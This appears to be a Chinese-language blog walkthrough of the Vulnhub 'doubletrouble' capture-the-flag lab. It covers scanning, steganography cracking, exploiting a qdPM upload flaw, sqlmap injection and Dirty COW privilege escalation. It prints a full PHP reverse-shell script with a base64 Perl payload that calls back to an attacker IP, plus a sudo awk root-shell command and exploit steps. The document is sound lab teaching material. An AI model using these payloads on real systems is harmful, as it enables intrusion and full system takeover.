Vulnhub实战-doubletrouble靶机👻
Vulnhub实战-doubletrouble靶机
靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/
下载页面的ova格式文件导入vmware,或者vitrualbox打开即可
靶机1渗透测试
1.靶机描述
描述
回到顶部
获得标志
难度:容易
关于 vm:从 virtualbox 测试并导出。dhcp 和嵌套 vtx/amdv 启用。您可以通过电子邮件与我联系以进行故障排除或问题。
这对 VirtualBox 比 VMware 更有效
这里有个小tips:因为这个ova格式文件是从vitrualbox虚拟机里面导出来的,所以你如果在vmware里面打开就接收不到
ip地址,因为vitrualbox的网卡名字是eth什么的,后面接数字一般。然后vmware的网卡名字一般是ens开头,所以你在
vitrualbox导出的虚拟机在vmware打开就不会自动获取IP,你需要把网卡改成一致然后重启才能获取IP。如果不会改网
卡,请参考下面链接:
https://blog.csdn.net/PeterWuu/article/details/105640638
这个教程第二步好像是:rw single init=/bin/bash
应该不是i,教程上面写的是i,可能作者手误吧!
2.进行主机发现,端口扫描
首先我们把虚拟机导入vmware或者vitrualbox,这里我是导入的vmware,然后开启它就好了
- 进行主机探测
nmap -sn 192.168.33.0/24
我这里局域网的虚拟机比较多,如果你的局域网虚拟机也比较多分辨不出来的话,你可以通过mac地址去匹配对应的ip地址,mac地址在虚拟机设置里面可以看到
- 进行端口扫描
nmap -sS -p- -v -O 192.168.33.163
我们可以看到开启了22和80端口,证明开启了SSH和web服务,这里前面文章有提到,你可以尝试试试暴力破解SSH的用户名密码,用kali自带的hydra工具,经过我上一次尝试,发现机率微乎其微,除非用的是admin:123456这样的弱口令。
3.web服务检测
我们访问ip地址192.168.33.163
得到如下页面
我们还是首先用dirsearch目录扫描一下
python3 dirsearch.py -u 'http://192.168.33.163' -i 200
我们可以看到果然扫出了一下常见目录,挨个目录查看,都没有发现什么东西,最后发现/secret/目录下面有一张图片,百度发现可以用stegseek工具来暴力破解这张图片。
下载参考链接:https://www.freebuf.com/sectool/261633.html
然后我们通过kali自带的字典rockyou.txt,这个字典在kali的/usr/share/wordlist目录下面,是一个压缩包,需要先进行解压
stegseek /root/doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf output
我们破解完这张图片之后生成一个output文件,发现里面有一个用户名跟密码,不用猜肯定是刚刚那个登录页面的用户名密码,我们来试一试吧!
登陆进去之后发现一个文件上传,在个人设置里面
qdPM漏洞利用
在一开始的登陆页面我们可以看到有个qdPM 9.1,搜索qdPM 9.1的漏洞,我们找到一个远程代码执行漏洞。https://www.exploit-db.com/exploits/50175, 把脚本下载下来。这个脚本的回车有点问题,需要自己调一下。不过,这个漏洞也挺简单的,其实就是用户的myAccount界面的图片那一栏是可以上传文件的,那我们就可以上传一个php反弹shell的脚本。
这里我不知道啥情况,反正这个脚本我搞不明白,python脚本怎么上传php反弹shell呢,如果有大佬知道还望告知,这里我找到一个php的反弹shell的脚本,大家改一下ip,端口就可以直接上传用了。
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.33.217";
$yourport = '10086';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
这里比较搞笑的是,无论是跑脚本还是自己手动上传,网页和代码的反馈都会让你觉得自己是不是没有上传成功。会报错,但是其实已经上传成功了。
上传之后脚本在刚刚开始我们目录扫描的那个/uploads/users目录下
然后kali监听10086端口,这个端口是你脚本自己设置的端口。
nc -lnvp 10086
提权
接下来我们看一下当前用户能够使用的sudo权限,这里显示当前用户可以免密执行awk命令
搜索一下awk提权,我们可以这样:
sudo awk 'BEGIN {system("/bin/bash")}'
我们可以看到此时我们已经是root用户了,看看root文件夹,发现了一个ova文件,百度看了大佬博客才知道这又是一个虚拟机,好家伙!不愧是doubletrouble啊,果然跟题目还有点呼应,我们下载下来这个虚拟机文件在vmware中开启。
我们在靶机中开启http服务功能,然后kali通过wget下载下来,下载下来之后在vmware中开启靶机。然后还是之前的步骤,扫描主机ip,端口,服务。
python3 -m http.server 9000
wget http://192.168.33.163:9000/doubletrouble.ova
如下是python -m的用法:
靶机2渗透测试
1.进行主机探测
nmap -sn 192.168.33.0/24
2.端口,服务发现
nmap -sS -p- -v -O 192.168.33.252
3.web服务测试
首先我们通过端口扫描发现开启了80端口,说明存在http服务,我们访问ip地址,看到如下一个登录框页面:
这里让我们输入用户名密码,然而我们并不知道账户名也不知道密码。尝试扫描网站目录发现没有额外的信息,就只有这么一个网站。
sqlmap注入获取用户名密码
我们还想到有一个神器sqlmap,通过sqlmap看看这个登录框存不存在注入,抓包保存文件1.txt,在kali里面打开sqlmap扫描,命令如下:
sqlmap -r /root/1.txt --current-db //爆出数据库名doubletrouble
sqlmap -r /root/1.txt -D doubletrouble --tables //爆表
sqlmap -r /root/1.txt -D doubletrouble -T users --columns //爆字段
sqlmap -r /root/1.txt -D doubletrouble -T users --dump //爆内容
我们看到这里有两对密码,第一对似乎没啥用,第二对能够连上ssh
ssh clapton@192.168.33.252
提权
我们看了一下,这个用户只是普通用户,目录下面有一个user.txt,里面是一串字符,我们接下来就是想办法拿到root权限,看看root文件夹有什么东东。我们先看看系统版本
uname -a
这里有个脏牛漏洞,漏洞编号CVE-2016-5195漏洞类型内核竞态条件漏洞漏洞危害本地提权影响范围Linux kernel>2.6.22。该漏洞是Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取root权限。他有很多个poc,其中这个poc可以生成一个账号名为firefart的root用户,https://github.com/FireFart/dirtycow
我们把poc下载到靶机的/tmp目录下,然后编译,执行。
这里因为靶机没有git,wget,yum这些命令,所以我们可以把代码复制下来,在靶机通过touch dirty.c创建一个c文件,然后粘贴进去,编译执行就行了。
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
su firefart
//中间会让我们输入一个密码,这个密码就是firefart的密码,然后我们登录就可以了
Vulnhub实战-doubletrouble靶机👻的更多相关文章
- Vulnhub实战-JIS-CTF_VulnUpload靶机👻
Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...
- Vulnhub实战-DockHole_1靶机👻
Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...
- Vulnhub实战-Dockhole_2靶机👻
Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...
- Vulnhub实战-grotesque3靶机👻
Vulnhub实战-grotesque3靶机 靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/ 1.靶机描述 2.主机探测,端口扫描 我们在vm ...
- Vulnhub实战-FALL靶机👻
Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...
- Vulnhub实战-rtemis靶机👻
Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...
- Vulnhub实战-dr4g0n b4ll靶机👻
Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...
- 【Vulnhub】DC-2靶机
Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...
- 3. 文件上传靶机实战(附靶机跟writeup)
upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs 运行环境 操作系统:推荐windows ...
随机推荐
- 搭建zabbix监控系统详解
搭建zabbix监控系统详解 文:warren 博文大纲:一.前言 二.zabbix监控架构三.搭建Zabbix监控服务器四.搭建过程中遇到有些服务无法正常启动的解决办法 一.前言 : 要想实时的 ...
- 哈希表(HashMap)分析及实现(JAVA)
转自:http://www.java3z.com/cwbwebhome/article/article8/83560.html?id=4649 探讨Hash表中的一些原理/概念,及根据这些原理/概念, ...
- python内置函数:sorted中的参数key
x.sort和sorted函数中参数key的使用 介绍 python中,列表自带了排序函数sort >>> l = [1, 3, 2] >>> l.sort() & ...
- springboot全局异常封装案例
@ControllerAdvice三个场景:>https://www.cnblogs.com/lenve/p/10748453.html 全局异常处理 全局数据绑定 全局数据预处理 首先定义一个 ...
- 笔记本+ubuntu18.04 关闭触摸板touchpad
方法1: Settings -> Devices -> Mouse&Touchpad -> Touchpad OFF 方法2: 终端运行如下命令 touchpad off: ...
- 约瑟夫环问题详解 (c++)
问题描述: 已知n个人(以编号0,2,3...n-1分别表示)围坐在一起.从编号为0的人开始报数,数到k的那个人出列:他的下一个人又从1开始报数,数到k的那个人又出列:依此规律重复下去,直到圆桌周围的 ...
- WHY IS A BYTE 8 BITS? OR IS IT?
WHY IS A BYTE 8 BITS? OR IS IT? 原文链接:http://www.bobbemer.com/BYTE.HTM I recently received an e-mail ...
- 痞子衡嵌入式:MCUXpresso IDE下将应用程序RW段分散链接的几种方法
大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是MCUXpresso IDE下将应用程序RW段分散链接的几种方法. 早期的 MCU 芯片,一般都会嵌入内部 Flash 和 RAM,并且 ...
- 网络协议之TCP和UDP
TCP/IP协议: 传输控制协议/因特网互联协议( Transmission Control Protocol/Internet Protocol),是Internet最基本.最广泛的协议.它定义了计 ...
- MySQL日志管理、备份、恢复
目录: 一.MySQL 日志管理 二.数据库备份的重要性与分类 三.常见的备份方法 四.MySQL完全备份 五.数据库完全备份分类 六.MySQL增量备份 七.MySQL数据库增量恢复 八.MySQL ...